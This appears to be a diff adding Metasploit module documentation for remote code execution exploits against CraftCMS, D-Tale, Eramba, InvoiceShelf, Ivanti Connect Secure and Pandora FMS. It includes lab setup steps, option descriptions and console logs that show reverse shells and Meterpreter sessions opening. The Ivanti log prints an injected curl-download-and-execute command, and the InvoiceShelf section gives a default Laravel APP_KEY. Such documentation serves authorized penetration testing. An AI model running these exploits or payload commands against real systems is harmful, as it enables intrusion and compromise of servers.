||||
Exploit target:
|
||||
|
||||
Id Name
|
||||
-- ----
|
||||
0 PHP In-Memory
|
||||
|
||||
|
||||
|
||||
View the full module info with the info, or info -d command.
|
||||
```
|
||||
|
||||
```bash
|
||||
msf6 exploit(linux/http/craftcms_preauth_rce_cve_2025_32432) > exploit http://exploit-craft.ddev.site/
|
||||
[*] Started reverse TCP handler on 192.168.1.36:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] Leaked session.save_path: /var/lib/php/sessions
|
||||
[+] The target is vulnerable. Session path leaked
|
||||
[*] Injecting stub & triggering payload...
|
||||
[*] Sending stage (40004 bytes) to 172.24.0.2
|
||||
[*] Meterpreter session 12 opened (192.168.1.36:4444 -> 172.24.0.2:35238) at 2025-04-29 21:52:44 +0200
|
||||
|
||||
meterpreter > sysinfo
|
||||
Computer : exploit-craft-web
|
||||
OS : Linux exploit-craft-web 6.14.2-2-cachyos #1 SMP PREEMPT_DYNAMIC Thu, 10 Apr 2025 17:27:10 +0000 x86_64
|
||||
Meterpreter : php/linux
|
||||
```
|
||||
|
||||
##### For `ARCH_CMD`:
|
||||
|
||||
```bash
|
||||
msf6 exploit(linux/http/craftcms_preauth_rce_cve_2025_32432) > set target 1
|
||||
target => 1
|
||||
msf6 exploit(linux/http/craftcms_preauth_rce_cve_2025_32432) > set payload cmd/linux/http/x64/meterpreter/reverse_tcp
|
||||
payload => cmd/linux/http/x64/meterpreter/reverse_tcp
|
||||
msf6 exploit(linux/http/craftcms_preauth_rce_cve_2025_32432) > exploit http://exploit-craft.ddev.site/
|
||||
[*] Started reverse TCP handler on 192.168.1.36:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] Leaked session.save_path: /var/lib/php/sessions
|
||||
[+] The target is vulnerable. Session path leaked
|
||||
[*] Injecting stub & triggering payload...
|
||||
[*] Sending stage (3045380 bytes) to 172.24.0.2
|
||||
[*] Meterpreter session 13 opened (192.168.1.36:4444 -> 172.24.0.2:33436) at 2025-04-29 21:53:43 +0200
|
||||
|
||||
meterpreter > sysinfo
|
||||
Computer : 172.24.0.2
|
||||
OS : Debian 12.10 (Linux 6.14.2-2-cachyos)
|
||||
Architecture : x64
|
||||
BuildTuple : x86_64-linux-musl
|
||||
Meterpreter : x64/linux
|
||||
```
|
||||
@@ -0,0 +1,110 @@
|
||||
## Vulnerable Application
|
||||
|
||||
This exploit effectively serves as a bypass for CVE-2024-3408.
|
||||
An attacker can override global state to enable custom filters, which then facilitates remote code execution.
|
||||
Specifically, this vulnerability leverages the ability to manipulate global application settings
|
||||
to activate the enable_custom_filters feature, typically restricted to trusted environments.
|
||||
Once enabled, the /test-filter endpoint of the Custom Filters functionality can be exploited to execute arbitrary system commands.
|
||||
|
||||
The vulnerability affects:
|
||||
|
||||
* D-Tale <= 3.15.1
|
||||
|
||||
This module was successfully tested on:
|
||||
|
||||
* D-Tale 3.15.1 installed on Ubuntu 24.04
|
||||
* D-Tale 3.12.0 installed on Ubuntu 22.04
|
||||
* D-Tale 3.10.0 installed on Ubuntu 22.04
|
||||
* D-Tale 3.0.0 installed on Ubuntu 22.04
|
||||
* D-Tale 2.5.1 installed on Ubuntu 22.04
|
||||
* D-Tale 2.4.0 installed on Ubuntu 22.04
|
||||
|
||||
|
||||
### Installation
|
||||
|
||||
1. `pip install 'dtale==3.15.1'`
|
||||
|
||||
2. `dtale --host 0.0.0.0`
|
||||
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Install the application
|
||||
2. Start msfconsole
|
||||
3. Do: `use exploit/linux/http/dtale_rce_cve_2025_0655`
|
||||
4. Do: `run lhost=<lhost> rhost=<rhost>`
|
||||
5. You should get a meterpreter
|
||||
|
||||
|
||||
## Options
|
||||
|
||||
|
||||
## Scenarios
|
||||
```
|
||||
msf6 > use exploit/linux/http/dtale_rce_cve_2025_0655
|
||||
[*] Using configured payload cmd/linux/http/x64/meterpreter_reverse_tcp
|
||||
msf6 exploit(linux/http/dtale_rce_cve_2025_0655) > options
|
||||
|
||||
Module options (exploit/linux/http/dtale_rce_cve_2025_0655):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
|
||||
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
|
||||
RPORT 40000 yes The target port (TCP)
|
||||
SSL false no Negotiate SSL/TLS for outgoing connections
|
||||
VHOST no HTTP server virtual host
|
||||
|
||||
|
||||
Payload options (cmd/linux/http/x64/meterpreter_reverse_tcp):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
FETCH_COMMAND CURL yes Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET)
|
||||
FETCH_DELETE true yes Attempt to delete the binary after execution
|
||||
FETCH_FILELESS false yes Attempt to run payload without touching disk, Linux ≥3.17 only
|
||||
FETCH_SRVHOST no Local IP to use for serving payload
|
||||
FETCH_SRVPORT 8080 yes Local port to use for serving payload
|
||||
FETCH_URIPATH no Local URI to use for serving payload
|
||||
LHOST yes The listen address (an interface may be specified)
|
||||
LPORT 4444 yes The listen port
|
||||
|
||||
|
||||
When FETCH_FILELESS is false:
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
FETCH_FILENAME agAyokIhdJZ no Name to use on remote system when storing payload; cannot contain spaces or slashes
|
||||
FETCH_WRITABLE_DIR /tmp yes Remote writable dir to store payload; cannot contain spaces
|
||||
|
||||
|
||||
Exploit target:
|
||||
|
||||
Id Name
|
||||
-- ----
|
||||
0 Linux Command
|
||||
|
||||
|
||||
|
||||
View the full module info with the info, or info -d command.
|
||||
|
||||
msf6 exploit(linux/http/dtale_rce_cve_2025_0655) > run lhost=192.168.56.1 rhost=192.168.56.17
|
||||
[*] Started reverse TCP handler on 192.168.56.1:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target appears to be vulnerable. Version 3.15.1 detected.
|
||||
[*] Use data_id: 1
|
||||
[*] Updated the enable_custom_filters to true.
|
||||
[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.17:33210) at 2025-03-03 20:49:53 +0900
|
||||
[*] Successfully executed the payload.
|
||||
[*] Successfully cleaned up data_id: 1
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: ubu
|
||||
meterpreter > sysinfo
|
||||
Computer : 192.168.56.17
|
||||
OS : Ubuntu 22.04 (Linux 6.8.0-52-generic)
|
||||
Architecture : x64
|
||||
BuildTuple : x86_64-linux-musl
|
||||
Meterpreter : x64/linux
|
||||
meterpreter >
|
||||
```
|
||||
@@ -0,0 +1,157 @@
|
||||
## Vulnerable Application
|
||||
|
||||
Eramba is open and free GRC software, used by many companies. It offer mainly risk management solution. Version up to 3.19.1 is vulnerable to authenticated remote command execution. It is neccessary to provide valid credentials. The application allows to execute arbitrary OS commands, which can lead to remote access. Application is available in [Docker format](https://www.eramba.org/learning/courses/12/episodes/274). However, after installation, debug mode needs to be enabled. Here's modified Docker compose file for simpler testing (`docker-compose.simple-install.yml`):
|
||||
|
||||
### Installation
|
||||
|
||||
Docker and docker-compose is required.
|
||||
|
||||
1. git clone https://github.com/eramba/docker
|
||||
2. cd docker
|
||||
3. Setup database credentials and public URL in `.env`
|
||||
4. Copy following into `docker-compose.simple-install.yml`
|
||||
```
|
||||
version: '3.19'
|
||||
services:
|
||||
mysql:
|
||||
container_name: mysql
|
||||
image: mysql:8.0.28-oracle
|
||||
command: ["mysqld", "--disable-log-bin"]
|
||||
restart: always
|
||||
volumes:
|
||||
- db-data:/var/lib/mysql
|
||||
- ./mysql/conf.d:/etc/mysql/conf.d
|
||||
- ./mysql/entrypoint:/docker-entrypoint-initdb.d
|
||||
environment:
|
||||
MYSQL_DATABASE: ${DB_DATABASE}
|
||||
MYSQL_USER: ${DB_USERNAME}
|
||||
MYSQL_PASSWORD: ${DB_PASSWORD}
|
||||
MYSQL_ROOT_PASSWORD: ${MYSQL_ROOT_PASSWORD}
|
||||
redis:
|
||||
container_name: redis
|
||||
image: redis:6.0.16-alpine
|
||||
restart: always
|
||||
eramba:
|
||||
container_name: eramba
|
||||
image: ghcr.io/eramba/eramba:3.19.1
|
||||
restart: always
|
||||
ports:
|
||||
- 8443:443
|
||||
volumes:
|
||||
- data:/var/www/eramba/app/upgrade/data
|
||||
- app:/var/www/eramba
|
||||
- logs:/var/www/eramba/app/upgrade/logs
|
||||
- ./apache/ssl/mycert.crt:/etc/ssl/certs/mycert.crt
|
||||
- ./apache/ssl/mycert.key:/etc/ssl/private/mycert.key
|
||||
- ./apache/security.conf:/etc/apache2/conf-available/security.conf
|
||||
- ./apache/ports.conf:/etc/apache2/ports.conf
|
||||
- ./apache/vhost-ssl.conf:/etc/apache2/sites-available/000-default.conf
|
||||
- ./crontab/crontab:/etc/cron.d/eramba-crontab
|
||||
environment:
|
||||
DB_HOST: ${DB_HOST}
|
||||
DB_DATABASE: ${DB_DATABASE}
|
||||
DB_USERNAME: ${DB_USERNAME}
|
||||
DB_PASSWORD: ${DB_PASSWORD}
|
||||
CACHE_URL: ${CACHE_URL}
|
||||
USE_PROXY: ${USE_PROXY}
|
||||
PROXY_HOST: ${PROXY_HOST}
|
||||
PROXY_PORT: ${PROXY_PORT}
|
||||
USE_PROXY_AUTH: ${USE_PROXY_AUTH}
|
||||
PROXY_AUTH_USER: ${PROXY_AUTH_USER}
|
||||
PROXY_AUTH_PASS: ${PROXY_AUTH_PASS}
|
||||
PUBLIC_ADDRESS: ${PUBLIC_ADDRESS}
|
||||
DOCKER_DEPLOYMENT: ${DOCKER_DEPLOYMENT}
|
||||
LDAPTLS_REQCERT: ${LDAPTLS_REQCERT}
|
||||
links:
|
||||
- mysql
|
||||
- redis
|
||||
depends_on:
|
||||
- mysql
|
||||
cron:
|
||||
container_name: cron
|
||||
image: ghcr.io/eramba/eramba:3.19.1
|
||||
command: ["cron", "-f"]
|
||||
entrypoint: ["/docker-cron-entrypoint.sh"]
|
||||
restart: always
|
||||
volumes:
|
||||
- data:/var/www/eramba/app/upgrade/data
|
||||
- app:/var/www/eramba
|
||||
- logs:/var/www/eramba/app/upgrade/logs
|
||||
- ./docker-cron-entrypoint.sh:/docker-cron-entrypoint.sh
|
||||
- ./crontab/crontab:/etc/cron.d/eramba-crontab
|
||||
- .env:/var/www/docker.env
|
||||
environment:
|
||||
DB_HOST: ${DB_HOST}
|
||||
DB_DATABASE: ${DB_DATABASE}
|
||||
DB_USERNAME: ${DB_USERNAME}
|
||||
DB_PASSWORD: ${DB_PASSWORD}
|
||||
CACHE_URL: ${CACHE_URL}
|
||||
USE_PROXY: ${USE_PROXY}
|
||||
PROXY_HOST: ${PROXY_HOST}
|
||||
PROXY_PORT: ${PROXY_PORT}
|
||||
USE_PROXY_AUTH: ${USE_PROXY_AUTH}
|
||||
PROXY_AUTH_USER: ${PROXY_AUTH_USER}
|
||||
PROXY_AUTH_PASS: ${PROXY_AUTH_PASS}
|
||||
PUBLIC_ADDRESS: ${PUBLIC_ADDRESS}
|
||||
DOCKER_DEPLOYMENT: ${DOCKER_DEPLOYMENT}
|
||||
LDAPTLS_REQCERT: ${LDAPTLS_REQCERT}
|
||||
links:
|
||||
- mysql
|
||||
- redis
|
||||
- eramba
|
||||
depends_on:
|
||||
- eramba
|
||||
volumes:
|
||||
app:
|
||||
data:
|
||||
logs:
|
||||
db-data:
|
||||
```
|
||||
|
||||
5. `docker compose -f docker-compose.simple-install.yml up -d`
|
||||
|
||||
Shut down: `docker compose -f docker-compose.simple-install.yml down`
|
||||
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. use exploit/linux/http/eramba_rce
|
||||
2. set RHOSTS [target IP]
|
||||
3. set LHOST [attacker's IP]
|
||||
4. set USERNAME [username]
|
||||
5. set PASSWORD [password]
|
||||
6. exploit
|
||||
|
||||
## Options
|
||||
|
||||
### USERNAME
|
||||
|
||||
A valid username for Eramba application
|
||||
|
||||
### PASSWORD
|
||||
|
||||
A valid password for Eramba application
|
||||
|
||||
## Scenarios
|
||||
|
||||
```
|
||||
msf6 > use exploit/linux/http/eramba_rce
|
||||
[*] Using configured payload cmd/unix/reverse_bash
|
||||
msf6 exploit(linux/http/eramba_rce)> set RHOSTS 192.168.95.145
|
||||
RHOSTS => 192.168.95.145
|
||||
msf6 exploit(linux/http/eramba_rce)> set LHOST 192.168.95.142
|
||||
LHOST => 192.168.95.142
|
||||
msf6 exploit(linux/http/eramba_rce)> set USERNAME admin
|
||||
USERNAME => admin
|
||||
msf6 exploit(linux/http/eramba_rce)> set PASSWORD P4ssw0rd!
|
||||
PASSWORD => P4ssw0rd!
|
||||
msf6 exploit(linux/http/eramba_rce) > exploit
|
||||
[*] Started reverse TCP handler on 192.168.95.142:4444
|
||||
[*] Command shell session 1 opened (192.168.95.142:4444 -> 192.168.95.145:38460) at 2025-03-13 12:31:26 +0100
|
||||
id
|
||||
|
||||
uid=33(www-data) gid=33(www-data) groups=33(www-data)
|
||||
|
||||
|
||||
```
|
||||
|
||||
@@ -0,0 +1,186 @@
|
||||
## Vulnerable Application
|
||||
InvoiceShelf is an open-source web & mobile app that helps you track expenses, payments, create professional
|
||||
invoices & estimates and is based on the PHP framework Laravel.
|
||||
InvoiceShelf has a Remote Code Execution vulnerability that allows remote unauthenticated attackers to conduct
|
||||
PHP deserialization attacks. This is possible when the `SESSION_DRIVER=cookie` option is set on the default
|
||||
InvoiceShelf .env file meaning that any session will be stored as a ciphered value inside a cookie.
|
||||
These sessions are made from a specially crafted JSON containing serialized data which is then ciphered using
|
||||
Laravel's encrypt() function.
|
||||
An attacker in possession of the `APP_KEY` would therefore be able to retrieve the cookie, uncipher it and modify
|
||||
the serialized data in order to get arbitrary deserialization on the affected server, allowing them to achieve
|
||||
remote command execution. InvoiceShelf version `1.3.0` and lower is vulnerable.
|
||||
As it allows remote code execution, adversaries could exploit this flaw to execute arbitrary commands,
|
||||
potentially resulting in complete system compromise, data exfiltration, or unauthorized access
|
||||
to sensitive information.
|
||||
|
||||
The following release was tested.
|
||||
* InvoiceShelf `1.3.0` on Docker
|
||||
|
||||
## Installation steps to install InvoiceShelf on Docker
|
||||
* Follow the instructions [here](https://docs.invoiceshelf.com/installation.html) for docker or manual install.
|
||||
* Please ensure that `SESSION_DRIVER=cookie` is set to cookie.
|
||||
* cp `.env.example` to `.env` and note down the `APP_KEY` setting.
|
||||
* To make life easy, use the `docker-compose.yml` below to install a vulnerable InvoiceShell on Docker.
|
||||
```
|
||||
#-------------------------------------------
|
||||
# InvoiceShelf MySQL docker-compose variant
|
||||
# Repo : https://github.com/InvoiceShelf/docker
|
||||
#-------------------------------------------
|
||||
|
||||
services:
|
||||
invoiceshelf_db:
|
||||
container_name: invoiceshelf_db
|
||||
image: mariadb:10
|
||||
environment:
|
||||
- MYSQL_DATABASE=invoiceshelf
|
||||
- MYSQL_USER=invoiceshelf
|
||||
- MYSQL_PASSWORD=Passw0rd
|
||||
- MARIADB_ALLOW_EMPTY_ROOT_PASSWORD=true
|
||||
expose:
|
||||
- 3306
|
||||
volumes:
|
||||
- mysql:/var/lib/mysql
|
||||
networks:
|
||||
- invoiceshelf
|
||||
restart: unless-stopped
|
||||
healthcheck:
|
||||
test: ["CMD", "mariadb-admin" ,"ping", "-h", "localhost"]
|
||||
timeout: 20s
|
||||
retries: 10
|
||||
|
||||
invoiceshelf:
|
||||
image: invoiceshelf/invoiceshelf:1.3.0
|
||||
container_name: invoiceshelf
|
||||
ports:
|
||||
- 90:80
|
||||
volumes:
|
||||
- ./invoiceshelf_mysql/data:/data
|
||||
- ./invoiceshelf_mysql/conf:/conf
|
||||
networks:
|
||||
- invoiceshelf
|
||||
environment:
|
||||
# PHP timezone e.g. PHP_TZ=America/New_York
|
||||
- PHP_TZ=UTC
|
||||
- TIMEZONE=UTC
|
||||
- APP_NAME=Laravel
|
||||
- APP_ENV=local
|
||||
- APP_DEBUG=true
|
||||
- APP_URL=http://localhost:90
|
||||
- DB_CONNECTION=mysql
|
||||
- DB_HOST=invoiceshelf_db
|
||||
- DB_PORT=3306
|
||||
- DB_DATABASE=invoiceshelf
|
||||
- DB_USERNAME=invoiceshelf
|
||||
- DB_PASSWORD=Passw0rd
|
||||
- DB_PASSWORD_FILE=
|
||||
- CACHE_STORE=file
|
||||
- SESSION_DRIVER=cookie
|
||||
- SESSION_LIFETIME=1440
|
||||
- SESSION_ENCRYPT=false
|
||||
- SESSION_PATH=/
|
||||
- SESSION_DOMAIN=localhost
|
||||
- SANCTUM_STATEFUL_DOMAINS=localhost:90
|
||||
- STARTUP_DELAY=
|
||||
#- MAIL_DRIVER=smtp
|
||||
#- MAIL_HOST=smtp.mailtrap.io
|
||||
#- MAIL_PORT=2525
|
||||
#- MAIL_USERNAME=null
|
||||
#- MAIL_PASSWORD=null
|
||||
#- MAIL_PASSWORD_FILE=<filename>
|
||||
#- MAIL_ENCRYPTION=null
|
||||
restart: unless-stopped
|
||||
depends_on:
|
||||
- invoiceshelf_db
|
||||
|
||||
networks:
|
||||
invoiceshelf:
|
||||
|
||||
volumes:
|
||||
mysql:
|
||||
```
|
||||
* Execute `docker-compose up -d`
|
||||
* You can access the InvoiceShelf application at http://localhost:90
|
||||
|
||||
## Verification Steps
|
||||
- [ ] Start `msfconsole`
|
||||
- [ ] `use exploit/linux/http/invoiceshelf_unauth_rce_cve_2024_55556`
|
||||
- [ ] `set rhosts <ip-target>`
|
||||
- [ ] `set rport <port>`
|
||||
- [ ] `set lhost <attacker-ip>`
|
||||
- [ ] `set target <0=PHP Command, 1=Unix/Linux Command>`
|
||||
- [ ] `exploit`
|
||||
- [ ] you should get a `reverse shell` or `Meterpreter` session depending on the `payload` and `target` settings
|
||||
|
||||
## Options
|
||||
### APP_KEY
|
||||
This option is required if the BRUTE_FORCE option is not used.
|
||||
It is the Laravel APP_KEY with a default key: `base64:kgk/4DW1vEVy7aEvet5FPp5un6PIGe/so8H0mvoUtW0=`.
|
||||
|
||||
### BRUTEFORCE
|
||||
This option is optional and is a text file with a list of APP_KEYs, one per line for a bruteforce attack.
|
||||
|
||||
## Scenarios
|
||||
### InvoiceShelf 1.3.0 on Docker - PHP Command target
|
||||
Attack scenario: use the default Laravel APP_KEY preset in the option APP_KEY.
|
||||
```msf
|
||||
msf6 exploit(linux/http/invoiceshelf_unauth_rce_cve_2024_55556) > set rhosts 192.168.201.21
|
||||
rhosts => 192.168.201.21
|
||||
msf6 exploit(linux/http/invoiceshelf_unauth_rce_cve_2024_55556) > set lhost 192.168.201.8
|
||||
lhost => 192.168.201.8
|
||||
msf6 exploit(linux/http/invoiceshelf_unauth_rce_cve_2024_55556) > rexploit
|
||||
[*] Reloading module...
|
||||
[*] Started reverse TCP handler on 192.168.201.8:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[*] Checking if 192.168.201.21:90 can be exploited.
|
||||
[+] The target appears to be vulnerable. InvoiceShelf 1.3.0
|
||||
[*] Lets check if the APP_KEY(s) is/are valid by decrypting the cookie.
|
||||
[*] Grabbing the cookies.
|
||||
[+] APP_KEY is valid: base64:kgk/4DW1vEVy7aEvet5FPp5un6PIGe/so8H0mvoUtW0=
|
||||
[+] Unciphered value: f80a79e26a4e80e6829ca82e9323f17dcbf8226b|{"data":"a:3:{s:6:\"_token\";s:40:\"4Fgr0aT0N85gxRmu4PoVqPzHU7XOH23NCrivJO9x\";s:9:\"_previous\";a:1:{s:3:\"url\";s:40:\"http:\/\/192.168.201.21:90\/login?%2Flogin=\";}s:6:\"_flash\";a:2:{s:3:\"old\";a:0:{}s:3:\"new\";a:0:{}}}","expires":1741454360}
|
||||
[*] Generate an encrypted serialized cookie payload with our cracked APP_KEY.
|
||||
[*] Executing PHP for php/meterpreter/reverse_tcp
|
||||
[*] Sending stage (40004 bytes) to 192.168.201.21
|
||||
[*] Meterpreter session 2 opened (192.168.201.8:4444 -> 192.168.201.21:54194) at 2025-03-07 17:19:21 +0000
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: www-data
|
||||
meterpreter > pwd
|
||||
/var/www/html/InvoiceShelf/public
|
||||
meterpreter > sysinfo
|
||||
Computer : 72fe563832ca
|
||||
OS : Linux 72fe563832ca 6.12.5-linuxkit #1 SMP PREEMPT_DYNAMIC Tue Jan 21 10:25:35 UTC 2025 x86_64
|
||||
Meterpreter : php/linux
|
||||
meterpreter >
|
||||
```
|
||||
### InvoiceShelf 1.3.0 on Docker - Unix/Linux Command target
|
||||
Attack scenario: use the BRUTEFORCE option with a list of APP_KEYS in a text file.
|
||||
```msf
|
||||
msf6 exploit(linux/http/invoiceshelf_unauth_rce_cve_2024_55556) > set target 1
|
||||
target => 1
|
||||
msf6 exploit(linux/http/invoiceshelf_unauth_rce_cve_2024_55556) > set BRUTEFORCE /root/laravel-crypto-killer/wordlists/crater.txt
|
||||
BRUTEFORCE => /root/laravel-crypto-killer/wordlists/crater.txt
|
||||
msf6 exploit(linux/http/invoiceshelf_unauth_rce_cve_2024_55556) > rexploit
|
||||
[*] Reloading module...
|
||||
[*] Started reverse TCP handler on 192.168.201.8:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[*] Checking if 192.168.201.21:90 can be exploited.
|
||||
[+] The target appears to be vulnerable. InvoiceShelf 1.3.0
|
||||
[*] Lets check if the APP_KEY(s) is/are valid by decrypting the cookie.
|
||||
[*] Grabbing the cookies.
|
||||
[*] Starting bruteforce decryption with APP_KEYS listed in /root/laravel-crypto-killer/wordlists/crater.txt.
|
||||
[+] APP_KEY is valid: base64:kgk/4DW1vEVy7aEvet5FPp5un6PIGe/so8H0mvoUtW0=
|
||||
[+] Unciphered value: ce0776f8682b66a8407e6a3d62622642ec8fc685|{"data":"a:3:{s:6:\"_token\";s:40:\"Q2zYE5unWqTpdLwFwqgKxBVubiDI95ceLObsbXXV\";s:9:\"_previous\";a:1:{s:3:\"url\";s:40:\"http:\/\/192.168.201.21:90\/login?%2Flogin=\";}s:6:\"_flash\";a:2:{s:3:\"old\";a:0:{}s:3:\"new\";a:0:{}}}","expires":1741454687}
|
||||
[*] Generate an encrypted serialized cookie payload with our cracked APP_KEY.
|
||||
[*] Executing Unix/Linux Command for cmd/unix/reverse_bash
|
||||
[*] Command shell session 3 opened (192.168.201.8:4444 -> 192.168.201.21:54229) at 2025-03-07 17:24:53 +0000
|
||||
|
||||
id
|
||||
uid=33(www-data) gid=33(www-data) groups=33(www-data),1000(invoiceshelf)
|
||||
uname -a
|
||||
Linux 72fe563832ca 6.12.5-linuxkit #1 SMP PREEMPT_DYNAMIC Tue Jan 21 10:25:35 UTC 2025 x86_64 GNU/Linux
|
||||
pwd
|
||||
/var/www/html/InvoiceShelf/public
|
||||
```
|
||||
|
||||
## Limitations
|
||||
No limitations.
|
||||
+108
@@ -0,0 +1,108 @@
|
||||
## Vulnerable Application
|
||||
|
||||
This module exploits a Stack-based Buffer Overflow vulnerability in Ivanti
|
||||
Connect Secure to achieve remote code execution (CVE-2025-22457). Versions
|
||||
22.7R2.5 and earlier are vulnerable. Note that Ivanti Pulse Connect Secure,
|
||||
Ivanti Policy Secure and ZTA gateways are also vulnerable but this module
|
||||
doesn't support this software. Heap spray is used to place our payload in
|
||||
memory at a predetermined location. Due to ASLR, the base address of
|
||||
`libdsplibs` is unknown. This library is used by the exploit to build a ROP
|
||||
chain and get command execution. As a result, the module will brute force this
|
||||
address starting from the address set by the `LIBDSPLIBS_ADDRESS` option.
|
||||
|
||||
Since this module needs to fill the processes memory with a large structure
|
||||
using the heap spray technique, it might take a very long time to succeed. The
|
||||
execution can be tweeked with the options described below.
|
||||
|
||||
Also, since this will create many sockets on your system, you might need to
|
||||
increase the file descriptor limit with `ulimit` (e.g. `ulimit -n 65535`).
|
||||
|
||||
### Installation Steps
|
||||
Get an Ivanti Security Appliance (ISA) or a Virtual Appliances (ISA-V Series)
|
||||
with a vulnerable Ivanti Connect Secure installed.
|
||||
|
||||
Note that it is not possible to download a trial version of a Virtual Appliance
|
||||
unless you contact sales and request a demo.
|
||||
|
||||
## Verification Steps
|
||||
1. Start msfconsole
|
||||
1. Do: `use linux/http/ivanti_connect_secure_stack_overflow_rce_cve_2025_22457`
|
||||
1. Do: `exploit verbose=true lhost=<local host> rhosts=<remote host>`
|
||||
1. You should get a Meterpreter session
|
||||
|
||||
|
||||
## Options
|
||||
|
||||
### MAX_THREADS
|
||||
The maximum number of threads to use when spraying (default: 32)
|
||||
|
||||
### WEB_CHILDREN
|
||||
The number of `/home/bin/web` child processes the server uses. It's been
|
||||
observed that the number of children the main process forks is directly related
|
||||
to the number of vCPUs used by the system. Ivanti recommends having 4 vCPUs, so
|
||||
the default number of children is set to 4.
|
||||
Note that this option should be set properly, since the exploit needs to send enough
|
||||
spray patterns to fill the memory of each child process. This is mandatory,
|
||||
since we don’t control which child process will be used to trigger the
|
||||
vulnerability. If we send too much data, the process memory will overflow and
|
||||
the process will crash. A `Broken pipe` socket error will happen in this case.
|
||||
So, if the number of `WEB_CHILDREN` is too low (< vCPUs), we might not send
|
||||
enough data to fill the memory of every child process and the exploit would
|
||||
likely fail. This scenario cannot be detected since the child processes should
|
||||
not crash. The module will simply continue to brute force with a different base
|
||||
address of `libdsplibs`, without detecting the real issue. On the other hand,
|
||||
if we send too much data, the child processes will crash and we will need to
|
||||
start everything again with a lower `WEB_CHILDREN` value.
|
||||
|
||||
### LIBDSPLIBS_ADDRESS
|
||||
The base address of libdsplibs that the module will start with when brute
|
||||
forcing. It has been observed that this address is always in the range of
|
||||
`0xf6525000`-`0xf6426000`, giving 256 possible options, since the alignment is
|
||||
4KB (0x1000 bytes) bytes. As a result, the default value has been set to
|
||||
`0xf6426000`.
|
||||
|
||||
### BRUTEFORCE_ATTEMPTS
|
||||
The number of attempts to brute force the base address of libdsplibs (default: 255).
|
||||
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Ivanti Connect Secure version 22.7r2.4 b3597
|
||||
|
||||
In this example, the address of libdsplibs is known to speed up the process (0xf64c1000). Also, we know the target system runs with 2 vCPUs.
|
||||
|
||||
```
|
||||
msf6 exploit(linux/http/ivanti_connect_secure_stack_overflow_rce_cve_2025_22457) > exploit verbose=true lhost=192.168.222.97 rhosts=192.168.222.222 libdsplibs_address=0xf64c1000 web_children=2
|
||||
[*] Command to run on remote host: curl -so ./pbPNUixqDiK http://192.168.222.97:8080/QAeBnT-6WHJiW5MJjwMrfA;chmod +x ./pbPNUixqDiK;./pbPNUixqDiK&
|
||||
[*] Fetch handler listening on 192.168.222.97:8080
|
||||
[*] HTTP server started
|
||||
[*] Adding resource /QAeBnT-6WHJiW5MJjwMrfA
|
||||
[*] Started reverse TCP handler on 192.168.222.97:4444
|
||||
[*] 192.168.222.222:443 - Running automatic check ("set AutoCheck false" to disable)
|
||||
[*] 192.168.222.222:443 - Checking the product version for https://192.168.222.222:443
|
||||
[+] 192.168.222.222:443 - The target appears to be vulnerable. Detected version: 22.7.2.3597
|
||||
[*] 192.168.222.222:443 - shell_cmd: a;export LD_LIBRARY_PATH=/home/lib;curl -so ./pbPNUixqDiK http://192.168.222.97:8080/QAeBnT-6WHJiW5MJjwMrfA;chmod +x ./pbPNUixqDiK;./pbPNUixqDiK& #BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
|
||||
[*] 192.168.222.222:443 - Targeting https://192.168.222.222:443
|
||||
[*] 192.168.222.222:443 - Starting...
|
||||
[*] 192.168.222.222:443 - Trying libdsplibs.so @ 0xf64c1000
|
||||
[*] 192.168.222.222:443 - Making connections...
|
||||
[*] 192.168.222.222:443 - Spraying...
|
||||
[*] 192.168.222.222:443 - Triggering...
|
||||
[*] 192.168.222.222:443 - Attempt #1
|
||||
[*] 192.168.222.222:443 - Attempt #2
|
||||
[*] Client 192.168.222.222 requested /QAeBnT-6WHJiW5MJjwMrfA
|
||||
[*] Sending payload to 192.168.222.222 (curl/7.80.0-DEV)
|
||||
[*] Meterpreter session 1 opened (192.168.222.97:4444 -> 192.168.222.222:16758) at 2025-04-30 21:36:49 +0200
|
||||
[!] 192.168.222.222:443 - Exception: The connection with (192.168.222.222:443) timed out.
|
||||
[*] 192.168.222.222:443 - Attempt elapsed time: 222.46986142301466 seconds
|
||||
[*] 192.168.222.222:443 - Total elapsed time: 227.48146175200236 seconds
|
||||
|
||||
meterpreter > sysinfo
|
||||
Computer : 192.168.222.222
|
||||
OS : CentOS 7.9.2009 (Linux 4.17.00.35-selinux-jailing-production)
|
||||
Architecture : x64
|
||||
BuildTuple : x86_64-linux-musl
|
||||
Meterpreter : x64/linux
|
||||
meterpreter > getuid
|
||||
Server username: nr
|
||||
```
|
||||
@@ -0,0 +1,185 @@
|
||||
## Vulnerable Application
|
||||
Pandora FMS is a monitoring solution that provides full observability for your organization's technology.
|
||||
This module exploits an command injection vulnerability in the `chromium-path` or `phantomjs-bin` directory
|
||||
setting at the application settings page of Pandora FMS.
|
||||
You need have admin access at the Pandora FMS Web application in order to execute this RCE.
|
||||
This access can be achieved by knowing the admin credentials to access the web application or leveraging a default
|
||||
password vulnerability in Pandora FMS that allows an attacker to access the Pandora FMS MySQL database,
|
||||
create a new admin user and gain administrative access to the Pandora FMS Web application.
|
||||
This attack can be remotely executed over the WAN as long as the MySQL services are exposed to the outside world.
|
||||
This issue affects Community, Free and Enterprise editions:
|
||||
- chromium-path: from v7.0NG.768 through <= v7.0NG.780
|
||||
